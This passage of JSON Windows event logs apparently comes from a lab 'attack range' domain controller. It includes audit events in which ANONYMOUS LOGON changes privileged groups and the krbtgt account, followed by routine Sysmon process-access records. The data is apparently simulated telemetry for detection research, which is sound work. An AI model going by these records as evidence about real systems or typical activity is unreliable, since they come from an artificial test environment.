12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4735,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222302,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled local group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4735,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222303,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled local group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-548\r\n\tGroup Name:\t\tAccount Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Account Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-548","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4735,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222304,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled local group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-552\r\n\tGroup Name:\t\tReplicator\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Replicator","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-552","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4738,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13824,"OpcodeValue":0,"RecordNumber":222305,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A user account was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nTarget Account:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\tAccount Name:\t\tkrbtgt\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tDisplay Name:\t\t-\r\n\tUser Principal Name:\t-\r\n\tHome Directory:\t\t-\r\n\tHome Drive:\t\t-\r\n\tScript Path:\t\t-\r\n\tProfile Path:\t\t-\r\n\tUser Workstations:\t-\r\n\tPassword Last Set:\t-\r\n\tAccount Expires:\t\t-\r\n\tPrimary Group ID:\t-\r\n\tAllowedToDelegateTo:\t-\r\n\tOld UAC Value:\t\t-\r\n\tNew UAC Value:\t\t-\r\n\tUser Account Control:\t-\r\n\tUser Parameters:\t-\r\n\tSID History:\t\t-\r\n\tLogon Hours:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"User Account Management","Opcode":"Info","Dummy":"-","TargetUserName":"krbtgt","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-502","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","DisplayName":"-","UserPrincipalName":"-","HomeDirectory":"-","HomePath":"-","ScriptPath":"-","ProfilePath":"-","UserWorkstations":"-","PasswordLastSet":"-","AccountExpires":"-","PrimaryGroupId":"-","AllowedToDelegateTo":"-","OldUacValue":"-","NewUacValue":"-","UserAccountControl":"-","UserParameters":"-","SidHistory":"-","LogonHours":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4737,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222306,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled global group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-521\r\n\tGroup Name:\t\tRead-only Domain Controllers\r\n\tGroup Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Read-only Domain Controllers","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-521","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4737,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222307,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled global group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-516\r\n\tGroup Name:\t\tDomain Controllers\r\n\tGroup Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Domain Controllers","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-516","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:54","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8509,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:54.666\r\nProcessGuid: {90617006-435C-5F2D-0000-00102CC61100}\r\nProcessId: 4204\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\106c-0\\System.ServiceModel.dll\r\nCreationUtcTime: 2020-08-07 12:04:54.666","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:54.666","ProcessGuid":"{90617006-435C-5F2D-0000-00102CC61100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\106c-0\\System.ServiceModel.dll","CreationUtcTime":"2020-08-07 12:04:54.666","EventReceivedTime":"2020-08-07 12:04:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8510,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:55.026\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4367-5F2D-0000-00100FD51100}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:55.026","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4367-5F2D-0000-00100FD51100}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8511,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:55.026\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4367-5F2D-0000-00100FD51100}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:55.026","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4367-5F2D-0000-00100FD51100}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8512,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:55.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4367-5F2D-0000-00100FD51100}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:55.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4367-5F2D-0000-00100FD51100}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8513,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:55.307\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4367-5F2D-0000-001054D91100}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:55.307","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4367-5F2D-0000-001054D91100}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:55","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8514,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:55.307\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4367-5F2D-0000-001054D91100}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 